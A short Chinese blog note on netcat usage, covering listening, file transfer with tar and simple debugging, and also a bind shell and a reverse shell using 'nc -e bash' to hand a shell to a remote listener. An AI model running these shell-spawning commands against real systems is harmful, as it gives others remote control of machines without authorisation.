nc-命令相关

参考1

nc 命令是 netcat 的简称. 能够通过 TCP 和 UDP 在网络中读写数据.

参考2 Wiki

netcat 有很多功能, 如: 端口扫描, 传输文件, 端口监听等.

在 man page 中查看相关信息: man netcat

参考3 B站

连接

正向连接

接受连接的一方:

1
$ nc -lp 10001 -e bash

发起连接的一方:

1
$ nc 192.168.1.102 10001 

nc 加 IP 地址加端口号, 用于直接连接, 即正向连接. 我们知道需要被控制的一方的 IP 地址.

反向连接

反向连接, 由受控方主动发起连接, 用 -e 参数将自己的 shell 返回给监听端.

需要连接 shell 的一方, 监听 233 端口:

1
$ nc -lvp 233

-l--listen 这个参数即打开监听.

-v--verbose.

-p--local-port 指定本地的一个端口.

需要返回 shell 的一方:

1
$ nc 192.168.1.101 233 -e bash -v

-e--exec 后面接一个命令, 表示在连接之后连接.

传输

使用重定向符 <> 传输单个文件.

将文件放在监听窗口:

1
$ nc -lvp 233 < test.sql -q 1

后面的 -q 1 表示在文件传输完 1 秒后断开连接.

获取文件:

1
$ nc 192.168.1.102 233 > test.sql -v

这里的 test.sql 应该是自己命名吧.

将文件压缩后传输

如:

1
$ tar -cvf - file/ | nc -lvp 233

这里的 tar 的三个参数, -c--create, 即创建一个 archive. -v--verbose, 即会显示很多信息. -f--file 即指定要压缩的文件.

解压

如:

1
$ nc -v 192.168.1.102 233 | tar -xvf -

这里的解压命令, -x 表示 --extract, 表示解压.

常用场景

简单调试

服务机:

1
nc -l 80

客户机:

1
nc 192.168.177.2 80

nc-命令相关
http://example.com/2022/09/26/nc-命令相关/
作者
Jie
发布于
2022年9月26日
许可协议